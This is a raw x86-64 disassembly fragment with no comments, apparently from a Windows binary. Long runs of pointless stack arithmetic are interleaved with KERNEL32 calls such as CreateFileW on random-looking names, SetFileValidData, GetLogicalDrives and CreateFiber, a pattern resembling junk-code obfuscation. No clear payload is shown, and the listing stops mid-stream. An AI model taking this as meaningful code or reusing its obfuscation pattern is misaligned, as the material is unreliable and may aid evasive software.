mov ecx, dword [rsp + 0xac00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd2ac], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
mov word [rsp + 0x39a8], ax
movzx eax, byte [rsp + 0x7f7]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x8c6c]
mov ecx, dword [rsp + 0xc6c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc810], eax
mov rax, qword [rsp + 0x19a18]
mov ecx, dword [rsp + 0xd0a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19d38]
mov dword [rcx], eax
movsx eax, word [rsp + 0x373c]
movsx ecx, word [0x1402bf630]
add eax, ecx
mov word [0x1402bf61c], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x28e], al
lea rax, [rsp + 0x3348]
mov qword [rsp + 0x1a5a0], rax
movzx eax, byte [rsp + 0x7a4]
movzx ecx, byte [rsp + 0x79d]
shl eax, cl
mov byte [rsp + 0x7ce], al
mov rax, qword [rsp + 0x1a528]
mov eax, dword [rax]
mov dword [rsp + 0xd804], eax
mov eax, dword [rsp + 0xd550]
mov ecx, dword [rsp + 0x914c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0bc], eax
mov eax, dword [rsp + 0xd69c]
mov rcx, qword [0x1402bf5a8]
mov qword [rsp + 0x1a5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a5a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc6c4], eax
lea rax, [rsp + 0xd088]
mov qword [rsp + 0x1a5b0], rax
mov eax, dword [rsp + 0xcfa0]
mov ecx, dword [rsp + 0xd3a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
mov word [rsp + 0x39ac], ax
lea rax, [rsp + 0x7bb]
mov qword [0x1402bf518], rax
mov rax, qword [rsp + 0x19cb8]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf40], eax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [rsp + 0x8b9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd028], eax
mov rax, qword [rsp + 0x19bd8]
mov rcx, qword [rsp + 0x1a140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9734], eax
mov rax, qword [rsp + 0x1a0b8]
mov ecx, dword [rsp + 0x9684]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd2bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd4b8], eax
lea rax, [0x1402acb62]
mov qword [rsp + 0x1a5b8], rax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x393c], ax
movsx eax, byte [rsp + 0x475]
mov rcx, qword [0x1402bf5e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c1], al
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x3704]
mov word [rsp + 0x39b0], ax
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf6a0], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xd5b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd720], eax
lea rax, [rsp + 0x7cb]
mov qword [rsp + 0x1a5c0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd674], eax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd808], eax
movzx eax, word [rsp + 0x35f8]
movzx ecx, word [rsp + 0x3834]
sub eax, ecx
mov word [rsp + 0x2944], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd338], eax
lea rax, [rsp + 0xd2b0]
mov qword [rsp + 0x1a5c8], rax
mov eax, dword [rsp + 0xd6a8]
mov rcx, qword [0x1402bf6c0]
mov qword [rsp + 0x1a5d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a5d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0xd61c]
movzx ecx, al
mov eax, dword [rsp + 0xd7e4]
sar eax, cl
mov dword [rsp + 0xd51c], eax
mov eax, dword [rsp + 0xcfe4]
mov dword [rsp + 0xd80c], eax
movzx eax, word [0x1402bf65e]
movzx ecx, word [rsp + 0x2240]
xor eax, ecx
mov word [rsp + 0x36a4], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acc23], al
mov eax, dword [rsp + 0xc1a4]
mov ecx, dword [rsp + 0x9490]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8540], eax
mov rax, qword [rsp + 0x1a428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce48], eax
mov rax, qword [rsp + 0x19f20]
mov rcx, qword [rsp + 0x19c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1dc], eax
mov eax, dword [rsp + 0xa528]
mov dword [rsp + 0xd810], eax
mov eax, dword [rsp + 0xa444]
mov ecx, dword [rsp + 0xd4e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x1a028]
movzx eax, word [rax]
mov word [rsp + 0x39b4], ax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov byte [rsp + 0x37b], al
movzx eax, word [rsp + 0x3940]
movzx ecx, word [rsp + 0x3878]
add eax, ecx
mov word [rsp + 0x3678], ax
movzx eax, byte [rsp + 0x63d]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402bf660], al
mov eax, dword [rsp + 0xd22c]
mov ecx, dword [rsp + 0xd46c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa790], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x1a4e0]
mov rcx, qword [rsp + 0x1a250]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd4c4], eax
lea rax, [0x1402ad7c4]
mov qword [rsp + 0x1a5d8], rax
movzx eax, byte [rsp + 0x81f]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7fb], al
lea rcx, str.ncOsb.GOX_S6_Wc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x39b8], ax
lea rax, [rsp + 0xd440]
mov qword [rsp + 0x1a5e0], rax
mov rax, qword [rsp + 0x1a578]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd768]
shr eax, cl
mov dword [rsp + 0xd0bc], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ef8]
mov qword [rsp + 0x1a5e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a5e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd014], eax
mov edx, 0x1ae9
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd424], eax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x1a400]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd814], eax
mov eax, dword [rsp + 0x8068]
mov dword [rsp + 0xd818], eax
lea rax, [0x1402acbbe]
mov qword [0x1402bf510], rax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f14]
or eax, ecx
mov word [rsp + 0x3804], ax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov dword [rsp + 0xd81c], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xd32c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcfbc], eax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b0]
and eax, ecx
mov byte [rsp + 0x7a5], al
movzx eax, word [rsp + 0x3760]
mov word [rsp + 0x39bc], ax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
imul eax, eax, 0xba
mov byte [rsp + 0x793], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2024], ax
mov eax, dword [rsp + 0xce4c]
mov ecx, dword [rsp + 0xd0d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd734]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad80c], eax
mov rax, qword [rsp + 0x1a260]
mov rcx, qword [rsp + 0x19c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd294], eax
lea rax, [rsp + 0xd0d0]
mov qword [rsp + 0x1a5f0], rax
mov eax, dword [rsp + 0xd2d4]
mov ecx, dword [rsp + 0xb1c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd94], eax
movzx eax, word [rsp + 0x37ec]
mov word [rsp + 0x39c0], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb9e]
sub eax, ecx
mov rcx, qword [rsp + 0x19d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a140]
mov ecx, dword [rsp + 0xd23c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a098]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd2c8], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [rsp + 0xd820], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [0x1402ad7bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19df8]
mov ecx, dword [rsp + 0xd31c]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad740], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf510]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x1a5a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3618], ax
lea rax, [rsp + 0x37c0]
mov qword [rsp + 0x1a5f8], rax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [0x1402bf78c]
shl eax, cl
mov byte [rsp + 0x533], al
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd6f0]
shr eax, cl
mov dword [rsp + 0xd460], eax
mov eax, dword [rsp + 0xcfc8]
mov dword [rsp + 0xd824], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [0x1402bf588]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19870]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x84f], al
mov edx, 0xd449
mov rcx, qword [rsp + 0x1a480]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd6c0], eax
lea rcx, str.M5ig6M_J1Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x39c4], ax
mov rax, qword [rsp + 0x19dc0]
mov ecx, dword [rsp + 0xd308]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402bf6d8], eax
mov rax, qword [rsp + 0x1a140]
mov ecx, dword [rsp + 0xd5dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd68c], eax
mov edx, 0x109eb4
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd658], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x1a070]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd6d8], eax
mov eax, dword [0x1402bf5f8]
mov ecx, dword [rsp + 0xd298]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x809c], eax
movzx eax, word [rsp + 0x39a8]
mov rcx, qword [rsp + 0x1a378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28dc], ax
lea rax, [rsp + 0x6d3]
mov qword [rsp + 0x1a600], rax
mov eax, dword [rsp + 0x91f4]
mov ecx, dword [rsp + 0xd4f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd94], eax
mov eax, dword [rsp + 0xbfd4]
mov ecx, dword [rsp + 0xcef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0c0], eax
mov eax, dword [rsp + 0xd518]
mov dword [rsp + 0xd828], eax
mov eax, dword [rsp + 0xd548]
mov dword [0x1402bf508], eax
mov rax, qword [rsp + 0x19c00]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb250], eax
movzx eax, byte [rsp + 0x790]
mov byte [rsp + 0x850], al
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x326c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcce0], eax
mov edx, 0x49a782
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd82c], eax
mov rax, qword [0x1402bf600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2964], ax
movzx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x468], al
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa790]
shr eax, cl
mov dword [rsp + 0xd36c], eax
mov eax, dword [rsp + 0xb818]
mov dword [rsp + 0xd830], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xcc], al
movzx eax, word [rsp + 0x38bc]
movzx ecx, word [rsp + 0x2e48]
xor eax, ecx
mov word [0x1402ad810], ax
lea rax, [rsp + 0xa990]
mov qword [rsp + 0x1a608], rax
mov eax, dword [rsp + 0xa1dc]
mov ecx, dword [rsp + 0xad98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [0x1402bf5a8]
mov ecx, dword [rsp + 0xd3f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbcc4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xd834], eax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7bb], al
movzx eax, word [rsp + 0x35e4]
mov word [rsp + 0x39c8], ax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd148]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a000]
mov ecx, dword [rsp + 0xcf88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19d20]
mov dword [rcx], eax
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad7e0], ax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x38dc], ax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
mov byte [rsp + 0x851], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd0b0], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd838], eax
mov rax, qword [rsp + 0x1a250]
mov rcx, qword [rsp + 0x19ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd100], eax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ac0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd740], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xd83c], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x1a428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc2e4], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd35c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbcd4], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43a]
xor eax, ecx
mov byte [rsp + 0x580], al
movzx ecx, word [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3718], ax
movzx eax, word [rsp + 0x2dd4]
mov rcx, qword [0x1402bf570]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad790], ax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xd840], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd030]
sar eax, cl
mov dword [rsp + 0xd054], eax
mov rax, qword [rsp + 0x1a2f0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf5a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5a4], eax
lea rax, [rsp + 0xd324]
mov qword [rsp + 0x1a610], rax
movzx eax, byte [rsp + 0x7dc]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7dd], al
lea rax, [rsp + 0x2a30]
mov qword [rsp + 0x1a618], rax
movsx eax, byte [rsp + 0x7fc]
movsx ecx, byte [rsp + 0x1d3]
and eax, ecx
mov byte [rsp + 0x79c], al
movsx eax, word [rsp + 0x2dd0]
mov rcx, qword [rsp + 0x1a470]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3524], ax
mov rax, qword [0x1402bf6c0]
mov ecx, dword [rsp + 0x83e4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad814], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov dword [rsp + 0xd844], eax
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd770], eax
movzx eax, byte [rsp + 0x2fd]
movzx ecx, byte [rsp + 0x7f2]
and eax, ecx
mov byte [rsp + 0x7b8], al
movzx eax, word [0x1402ad7f4]
movzx ecx, word [rsp + 0x3968]
imul eax, ecx
mov word [rsp + 0x26a0], ax
mov eax, dword [rsp + 0x9418]
mov ecx, dword [rsp + 0xd2b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc80], eax
mov eax, dword [rsp + 0xd374]
mov ecx, dword [rsp + 0xcefc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99c0], eax
lea rax, [rsp + 0xd5f8]
mov qword [rsp + 0x1a620], rax
mov eax, dword [rsp + 0xbb68]
mov ecx, dword [rsp + 0xd6c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbcc4], eax
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x39cc], ax
lea rax, [rsp + 0x81e]
mov qword [0x1402bf500], rax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd840]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e98]
mov ecx, dword [0x1402ad6dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcde0], eax
mov rax, qword [rsp + 0x19f18]
mov eax, dword [rax]
mov dword [rsp + 0xd848], eax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a5c8]
mov qword [rsp + 0x1a628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a628]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19c98]
mov dword [rcx], eax
lea rax, [rsp + 0xd610]
mov qword [rsp + 0x1a630], rax
movsx eax, word [0x1402ad63c]
movsx ecx, word [rsp + 0x362c]
or eax, ecx
mov word [rsp + 0x3614], ax
movsx eax, byte [rsp + 0x28e]
movsx ecx, byte [rsp + 0x502]
sar eax, cl
mov byte [rsp + 0x15e], al
movzx eax, byte [0x1402bf720]
movzx ecx, byte [rsp + 0x6d3]
xor eax, ecx
mov rcx, qword [rsp + 0x199e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a030]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad704], ax
mov rax, qword [rsp + 0x19f58]
mov ecx, dword [0x1402ad7a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd118], eax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov dword [rsp + 0xd84c], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19f38]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a4c0]
mov word [rcx], ax
lea rax, [rsp + 0x7be]
mov qword [rsp + 0x1a638], rax
mov rax, qword [rsp + 0x1a630]
mov eax, dword [rax]
mov ecx, dword [0x1402ad64c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf0c], eax
mov eax, dword [rsp + 0xd4d4]
mov ecx, dword [rsp + 0xd20c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6e4], eax
mov eax, dword [rsp + 0xd194]
mov dword [rsp + 0xd850], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xcf88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a5c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2b4]
movzx ecx, byte [rsp + 0x849]
add eax, ecx
mov byte [0x1402acb8f], al
movzx eax, word [rsp + 0x3794]
movzx ecx, word [rsp + 0x38a0]
sub eax, ecx
mov word [rsp + 0x2770], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd31c], eax
mov rax, qword [rsp + 0x199d0]
movzx eax, byte [rax]
mov byte [rsp + 0x852], al
movsx eax, word [rsp + 0x372c]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3970], ax
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x853], al
movzx eax, word [rsp + 0x2024]
movzx ecx, word [rsp + 0x3984]
xor eax, ecx
mov word [rsp + 0x3878], ax
mov eax, dword [rsp + 0xbdbc]
mov dword [rsp + 0xd854], eax
mov eax, dword [rsp + 0xd570]
movzx ecx, al
mov eax, dword [rsp + 0xced0]
shl eax, cl
mov dword [0x1402ad818], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov rcx, qword [0x1402bf610]
mov qword [rsp + 0x1a640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a640]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd848], eax
mov rax, qword [rsp + 0x1a380]
mov ecx, dword [rsp + 0xa7a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa10], eax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [0x1402bf610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa59c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.M8LyL7Bb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a648], rax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81b]
sub eax, ecx
mov byte [rsp + 0x84c], al
lea rdx, [rsp + 0x19918]
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd658], eax
lea rax, [rsp + 0x39cc]
mov qword [rsp + 0x1a650], rax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x1a5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce48], eax
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcb7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19dc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd2b4]
mov dword [rsp + 0xd858], eax
mov eax, dword [rsp + 0xcfb0]
mov ecx, dword [0x1402bf770]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad804], eax
movzx eax, byte [rsp + 0x7cd]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e7], al
movzx eax, word [rsp + 0x38c0]
mov word [rsp + 0x39d0], ax
movsx eax, word [rsp + 0x38d8]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35ec], ax
movsx eax, byte [rsp + 0x78b]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ba], al
mov rax, qword [rsp + 0x1a3a0]
mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xca00], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.eUIKLF9vh6bQ4vS7odoF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a658], rax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd480]
sar eax, cl
mov dword [rsp + 0xd010], eax
lea rax, [rsp + 0x44f]
mov qword [rsp + 0x1a660], rax
mov rax, qword [0x1402bf598]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a650]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x278c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x41e6
mov rcx, qword [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd1c0], eax
mov eax, dword [rsp + 0xaba8]
mov dword [0x1402bf4fc], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a5c8]
mov qword [rsp + 0x1a668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a668]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x92c0], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
